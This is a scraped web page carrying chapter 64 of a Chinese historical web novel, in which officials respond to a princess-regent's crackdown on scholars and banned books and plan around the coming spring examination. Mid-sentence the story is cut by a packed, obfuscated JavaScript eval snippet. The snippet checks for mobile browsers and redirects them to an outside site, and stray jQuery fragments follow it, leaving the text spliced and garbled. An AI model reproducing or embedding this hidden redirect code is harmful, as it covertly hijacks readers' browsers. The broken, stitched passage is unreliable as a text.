默认冷灰
24号文字
方正启体

64.惶惶

作者:远上邀明月本书字数:K更新时间:
    西市问斩的血尚未干透,中京的空气便凝得如同一块冰冷的铁,压得人直喘不过气。


    距离郑怀远等人问斩已过了三日。


    裴不澈从西市回来,吐了一天一夜,滴水未进,差点连胆汁也吐了出来。


    三日后,城南书肆悄悄传出一卷手抄本,泛黄的麻纸上用朱砂画着七颗头颅,旁边题着“忠魂泣血”四个篆字。


    抄本里详细写了郑怀远临刑前的三问,连“拆我骸骨为桥钉”的绝命词都一字不差。


    买抄本的书生从书肆出来,左看右看鬼鬼祟祟的,刚把纸卷揣进袖中,就被巷口冲出的禁军按在地上。


    长公主下了死令,凡私藏禁书者,与谋逆同罪。


    裴不澈在府中翻看着从禁军手中截下的抄本,指尖抚过朱砂绘制的头颅,墨香里仿佛还飘着西市的血腥味。


    “宁致那边有消息吗?”他头也不抬地问。


    裴觉捧着茶盏进来,青瓷盖碗在案上磕出轻响:“宁大人说,这三日被抓的学子已有两百余人,刑部大牢都快塞不下了。大理寺那边递了牌子,说再这么抓下去,怕是要激起民变。”


    “民变?”裴不澈冷笑,将抄本扔进火盆,火苗舔舐着纸页,朱砂字在烈焰中扭曲成狰狞的形状,“长公主要的就是这个。”


    正说着,院外传来急促的脚步声。宁致掀帘而入,玄色官袍上沾着泥点,显然是一路策马赶来。他将一卷诉状拍在案上,纸页边缘都被攥得发皱:“你看看这个!”


    诉状上密密麻麻写满了名字,为首的是几位致仕的老臣,其中竟还有前太子太傅。


    状纸里说长公主滥杀无辜,阻塞言路,恳请陛下亲理朝政,还天下清明。


    “这些老东西是活腻了?”裴不澈挑眉。


    “他们是豁出去了。”宁致往椅上一坐,端起茶盏猛灌了几口,“郑怀远的小孙女在破庙被人认了出来,禁军昨夜围了那片街坊。是街坊们把孩子藏进菜窖,才没让禁军搜走。今早那些老头就带着百姓跪在宫门前,说要为学子们请命。”


    裴不澈捏紧了案上的镇纸,青石貔貅的棱角硌得掌心生疼:“长公主怎么应对?”


    “还能怎么应对?”宁致嗤笑,“派禁军把人打了回去,连前太子太傅都被拖到午门杖责二十。现在整个中京的书生都在传,说长公主要学前朝焚书坑儒。”


    午门的杖责声还未散尽,中京的文人们已在暮色里磨亮了笔墨。


    前太子太傅趴在门板上咳血的模样被卖浆者传遍了七街十二坊。


    落魄秀才在酒肆里蘸着残酒写《午门赋》,字未写完,巡逻的禁军便将人拖走,案上的麻纸被邻座的举子偷偷藏进袖中,一出门连同秀才一起让禁军抓走,当场斩了头。


    不到两个时辰,这篇墨迹淋漓的文章贴满了国子监的红墙,末尾那句“白发溅血处,皆是读书人”,让晨露里前来抄录的学子们红了眼眶。


    长公主的禁书令下得愈发严苛。


    刘琨带着禁军挨家挨户搜查,凡是书架上有《春秋》《史记》的,都要翻检是否夹藏“逆文”。


    有个老翰林舍不得先祖手校的《论语》,死死抱在怀里不肯松手,前来的禁军一脚踹断了老翰林的肋骨。


    消息传到城西的文房铺,掌柜连夜将上好的徽墨换成了掺了烟灰的劣品,却挡不住书生们用烧焦的柳枝在墙上写一遍又一遍。


    刑部大牢的墙角堆着成捆的禁书,有手抄的郑怀远绝命词,有绘制着七颗头颅的朱砂卷,还有些连篇累牍的檄文,字里行间全是“诛奸佞”“清君侧”的字样。


    狱卒们懒得细看,只当废纸般扔进柴房。


    牢里断了指的书生,正用牙齿咬着笔杆,在草席上写书。


    禁军的铁蹄踏碎了多少窗下的灯盏,城东的女先生在私塾里教孩童读民为贵,禁军破门而入,她将书塞进灶膛,还是没能躲过禁军的搜查。


    中京的巷弄里,总有孩童传唱新编的歌谣:“西市血,午门霜,长公主的红袍,是用书生骨缝里的血染的。”


    大理寺第三次递上的奏折被长公主扔在地上。


    奏折里说,关押的文人已逾五百,其中有二十七个是前科进士,三十九个是现任教谕,再不放人,恐动摇国本。


    长公主踩着奏折冷笑,让内侍传旨,凡能指认同党者,可免罪归家。


    可直到第七日,牢里也没一个人开口,只有人在墙上用指甲刻下“宁鸣而死,不默而生”。(1)


    裴不澈翻着宁致送来的名录,上面记着被抓文人的姓名籍贯。


    翻到“李嵩”二字时,他指尖顿住。


    那是李砚的父亲,前户部侍郎,当年因弹劾外戚被罢官,如今也因藏禁书被投入大牢。


    中京的雨又开始下了,打在芭蕉叶上噼啪作响。


    宁致又告诉他:“裴不澈,西市的书肆全封了,现在连卖纸钱的铺子都有人盯梢,生怕有人在烧给死者的纸衣上写些什么。还有卖唱的盲女编了段《书生谣》,在茶楼里唱了半宿,今早发现时,人已经吊在房梁上,舌头被割了去。”


    “殿下,”裴觉的声音发颤:“中京的书生们像是疯了,明知会被抓还是往枪口上撞。方才还有个老秀才,抱着石碑跪在宫门前,说要为学子们请命,石碑上刻着‘天下有道,以道殉身;天下无道,以身殉道’。”(2)


    老秀才身后的学子们跟着跪下,黑压压的一片白衫伏在青石板上,像秋日里被霜打蔫的芦苇。


    街边的商户悄悄推开窗缝,有老婆婆往学子们手里塞馒头,禁军的鞭子破风似的抽到腕子上,热乎的白面馒头滚落在泥水里。


    裴不澈将名录合上,揉了揉眉心。


    这满京城的笔墨,分明是在用血写史,用骨作笔,要把这荒唐的世道,刻进千秋万代的记忆里。


    远处传来禁军的呵斥声,大概又是禁军因有人私藏禁书抓人。


    裴不澈走到窗前,望着雨幕里摇曳的宫灯,忽然觉得这中京的天沉得像是要塌下来了,而支撑着这片天不塌的,竟是那些看似柔弱的书生们,用他们的笔,他们的血,他们宁折不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048111|162923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    弯的骨头。


    中京的雨总是连着下,下得人心烦。雨丝顺着窗棂蜿蜒而下,在描金的窗纸上洇出水痕。


    窗外的雨声将裴不澈的声音泡得发沉:“两日后便是春闱,四日前长公主召见我,特意问起今年的考题。”


    宁致正用银簪挑着灯芯,闻言动作一顿,火星子噼啪炸开,影得屋里阴暗不定:“长公主想让你插手考题?”


    “何止是插手。”裴不澈转过身去,“她要我在策论里加一道‘外戚辅政之利’,还说要亲自审阅所以答卷。你想想这道题递上去,天下学子会怎么写?”


    宁致说:“写得合她心意,便是趋炎附势。写得不合心意,便是妄议朝政。这哪里是考较文章,分明是要筛出所有不肯屈服的骨头。”


    裴不澈的指尖叩着案面,“我没应。我说春闱自有成例,主考官定题乃是祖制,她才暂时歇了心思。但你该知道,长公主要做的事,从来不会半途而废。”


    灯花“噗”地爆了一声,宁致抬眼道:“你的意思是说,长公主会对我下手。”


    “不是下手,是借题发挥。”外面雨声渐弱,裴不澈起身走到窗边,推开半扇窗,潮湿的风卷着雨气涌进来,吹得人清醒了不少。


    “你是丞相,是百官之首,又是此次春闱的主考。若考题里有半个字让她不满,或是举子里有哪个曾写过非议长公主的文章——”


    宁致接过话:“长公主便能随意开罪于我。到时候既能清洗朝堂,又能拿捏春闱,一石二鸟。”


    裴不澈猛地回头,烛火在他眼中跳动:“你既然知道,就该避开这个局!你明日就说偶感风寒,主考之位另择他人。”


    “不行。”宁致抬手打断他,坚定道:“如今刑部大牢里关着多少文人学生,中京的笔墨都在血里泡着。这春闱是他们唯一的指望,是天下读书人最后的念想。若是连主考都换成她的心腹,这些人会彻底寒了心。”


    裴不澈的喉结滚动了一下,想说什么,却被宁致接下来的话堵在喉头。


    “你以为我这些日子在做什么?”宁致忽然笑了笑,眼角的皱纹里盛着疲惫:“我让人把所有禁军抓的学生的名册抄了三份,每份后面都记着他们的籍贯师承。”


    “你疯了?这些名册若是落到她手里,便是铁证!”


    他拿起案上的砚台,墨锭在水中轻轻研磨,黑色的墨汁在清水里缓缓晕开,“所以我把名册藏在了皇陵的明伦堂梁上。那里供奉着先祖像,她再跋扈,也不敢在祖宗面前动土。我还在每份名册后面写了批注,哪个举子的策论曾痛陈时弊,哪个书生的诗里藏着忧国忧民的骨血,都记着呢。”


    “我要让所有答卷都平安送到阅卷官手里,要让那些敢说真话的举子高中,要让天下人知道,这朝堂上还有人记得‘取士唯贤’四个字。”宁致看着他,认真道:“大邺要千秋万代,便要这些人站在明处。”


    他抬手拍了拍裴不澈的肩膀,动作不轻不重:“你在暗处护着那些学子,我在明处为他们争一个公允。这局棋,咱们得这么下。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)